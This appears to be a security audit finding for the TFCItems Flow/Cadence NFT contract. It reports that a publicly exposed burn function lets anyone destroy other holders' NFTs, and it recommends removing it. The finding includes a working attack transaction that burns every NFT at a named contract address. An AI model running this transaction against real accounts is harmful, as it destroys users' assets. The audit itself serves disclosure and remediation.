TFCItems contract

Details

// line 154
pub resource interface TFCItemsCollectionPublic {
        pub fun burn(burnID: UInt64)

// line 181 to 185
pub fun burn(burnID: UInt64){
             let token <- self.ownedNFTs.remove(key: burnID) ?? panic("missing NFT")
             destroy token
             emit Burned(id: burnID, from: self.owner?.address)
        }

In line 154, the burn functionality is exposed in the TFCItemsCollectionPublic resource interface. Since the TFCItemsCollectionPublic interface is used to expose certain functions inside the Collection resource publicly, an attacker can burn all victims’ NFTs by borrowing the public capability situated under CollectionPublicPath and calling the burn function.

Pseudocode

Below is an example transaction code that illustrates the attack.

import TFCItems from 0x81e95660ab5308e1

transaction() {

    execute {
        let account = getAccount(0x81e95660ab5308e1)

        let cap = account.getCapability<&{TFCItems.TFCItemsCollectionPublic}>(TFCItems.CollectionPublicPath).borrow()!

        let availableNFTs = cap.getIDs() 
        
        for nft in availableNFTs {
            cap.burn(burnID: nft)
        }
    }
}

Mitigation

Consider removing the burn functionality in line 154.

Reference

Cadence Anti-Patterns


Informational issues

The getIDs functionality will fail due to the computation limit if the account holds too many NFTs. An example is demonstrated below:

import TFCItems from 0x81e95660ab5308e1

pub fun main(): [UInt64] {
    let account = getAccount(0x81e95660ab5308e1)

    let cap = account.getCapability<&{TFCItems.TFCItemsCollectionPublic}>(TFCItems.CollectionPublicPath).borrow()!

    let availableNFTs = cap.getIDs() 
    
    return availableNFTs
}

/*

❌ Invalid argument: failed to execute script: failed to execute script at block (dfc6212e6a815d7846ad18d0fc99e38e498a720e9756cd3c759e2b6693e4a8e9): [Error Code: 1110] computation exceeds limit (100000) 
🙏 Check your argument and flags value, you can use --help.

*/

To mitigate this, consider adding a pagination mechanism for a custom query functionality.


Transaction hash